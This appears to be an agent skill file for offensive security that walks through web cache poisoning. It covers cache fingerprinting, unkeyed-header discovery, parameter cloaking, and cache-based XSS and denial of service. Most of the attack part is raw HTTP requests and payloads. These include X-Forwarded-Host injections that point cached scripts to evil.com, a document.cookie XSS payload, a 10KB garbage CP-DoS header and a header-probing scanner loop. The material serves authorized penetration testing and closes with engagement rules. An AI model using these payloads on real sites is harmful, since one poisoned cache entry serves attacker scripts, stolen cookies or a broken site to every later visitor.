Skill v1.0.0
currentAutomated scan100/100version: "1.0.0" name: cache-poisoning description: > Web Cache Poisoning detection and exploitation. Covers unkeyed headers, parameter cloaking, cache key normalization, XSS via cache, and DoS via cache. Targets: CDN (Cloudflare/Akamai/Fastly), reverse proxy (Varnish/Nginx), application-level caching (Redis/Memcached). metadata: tags: "cache-poisoning,web-cache,cdn,unkeyed-headers,cache-key,cp-dos,x-cache" category: "offensive-security"
Web Cache Poisoning — Detection & Exploitation
Cache Poisoning turns a single crafted request into a persistent attackthat affects every subsequent user requesting the same resource.
1. Cache Identification
Response Headers
Cache Hit Indicators:X-Cache: HIT / hit / Hit from cloudfrontX-Cache-Status: HITCF-Cache-Status: HITAge: > 0X-Served-By: cache-*X-Cache-Hits: 1+Cache Providers:Cloudflare: CF-Cache-Status, CF-RAYAWS CloudFront: X-Cache, Via: ...cloudfront...Akamai: X-Cache, X-Cache-KeyFastly: X-Served-By, X-Cache-HitsVarnish: X-Varnish, Via: varnishNginx: X-Proxy-Cache
Cache Key Detection
The cache key is what the cache uses to identify "same resource". Only unkeyed components can be poisoned.
Step 1: Baseline requestGET /?cb=1234 HTTP/1.1Host: target.comStep 2: Add suspect headerGET /?cb=1235 HTTP/1.1Host: target.comX-Forwarded-Host: evil.comStep 3: Remove header, request againGET /?cb=1234 HTTP/1.1Host: target.comIf response still contains "evil.com" → X-Forwarded-Host is UNKEYED → can be poisoned!
2. Attack Vectors (by unkeyed component)
X-Forwarded-Host (Highest Impact)
GET / HTTP/1.1Host: target.comX-Forwarded-Host: evil.comResponse (cached!):<script src="https://evil.com/static/app.js"></script><a href="https://evil.com/login">Login</a>
Next user requesting GET / gets scripts and links pointing to evil.com.
X-Forwarded-Scheme
GET / HTTP/1.1Host: target.comX-Forwarded-Scheme: httpResponse (cached!):<script src="http://target.com/static/app.js"></script>→ Browser blocks mixed content → breaks the site
X-Forwarded-For / X-Real-IP (Reflected IP)
GET /?cb={rand} HTTP/1.1Host: target.comX-Forwarded-For: <img src=x onerror=alert(1)>Response (cached!):Your IP: <img src=x onerror=alert(1)>
Origin / Referer Reflection
GET /api/jsonp?callback=steal HTTP/1.1Host: target.comOrigin: https://evil.comResponse:Access-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Cached CORS headers allow evil.com to steal authenticated responses.
User-Agent (Mobile/Desktop Switching)
GET / HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (Mobile)Response (cached!): Mobile version→ Desktop users get served mobile version (or vice versa)
Fat GET (Parameter in Body)
GET /?cb=1234 HTTP/1.1Host: target.comContent-Length: 20ignore=parameter
Some caches include the body in cache key. Some don't. Test both.
3. Parameter Cloaking (Cache Key Confusion)
; Parameter Separator (Rails/Spring)
GET /home;admin=true?cb={rand} HTTP/1.1Host: target.com
Cache sees: /home → serves cached version App sees: /home;admin=true → returns admin page
URL Encoding Confusion
GET /home%3Fadmin=true?cb={rand} HTTP/1.1Host: target.com
Cache sees: /home?admin=true (decoded) App sees: /home%3Fadmin=true (raw → different route)
4. XSS via Cache Poisoning
GET /static/js/i18n/en.js HTTP/1.1Host: target.comX-Forwarded-Host: evil.com"></script><script>alert(document.cookie)</script><!--Response (cached!):var config = {"host": "evil.com"></script><script>alert(document.cookie)</script><!--"};
Now EVERY user loading /static/js/i18n/en.js executes the XSS.
5. CP-DoS (Cache Poisoning Denial of Service)
GET /static/style.css HTTP/1.1Host: target.comX-Forwarded-Host: aaaaaaaaa...(10KB of 'a' repeated)Response (cached!): 10KB garbage→ Every user requesting style.css gets 10KB garbage→ Site broken for all users
6. Automated Test Sequence
Step 1: Cache Behavior Baseline
# Fetch same URL 3 times, check for cache headersfor i in range(3):resp = fetch("{target}/?cb=" + str(i))check: X-Cache, Age, CF-Cache-Status
Step 2: Unkeyed Header Discovery
# Param Miner approach: inject canary → flush → checkheaders_to_test = ["X-Forwarded-Host", "X-Forwarded-Scheme", "X-Forwarded-For","X-Real-IP", "X-Original-URL", "X-Rewrite-URL","Origin", "Referer", "User-Agent", "Accept-Encoding","X-HTTP-Method-Override", "X-Custom-IP-Authorization",]for header in headers_to_test:canary = "canary-" + str(random.randint(10000, 99999))resp = fetch("{target}/?cb=" + canary,headers={header: "evil.com"})# Flush cache keyresp2 = fetch("{target}/?cb=" + canary)# Check if "evil.com" appears in responseif "evil.com" in resp2.text:log(f"[VULNERABLE] {header} is unkeyed and reflected")
Step 3: Impact Verification
Testing: X-Forwarded-HostCache Key: GET /static/js/main.js?cb={rand}Poison Payload: X-Forwarded-Host: attacker-server.comVerify: Request WITHOUT malicious header → still returns poisoned response
7. Output
findings/└── cache_poisoning/├── _cache_fingerprint.json # Cache provider + key detection├── _unkeyed_headers.json # Headers not in cache key├── _confirmed_poisons.json # Verified cache poisoning findings└── _poc/├── poison_screenshot.png # Before/after cache poisoning└── cleanup_request.txt # Request to flush poisoned cache
8. Rules
⛔ Only poison caches with your OWN canary values⛔ Clean up immediately after PoC (send uncached request to flush)⛔ NEVER target production with XSS/cookie-stealing payloads⛔ Test during off-peak hours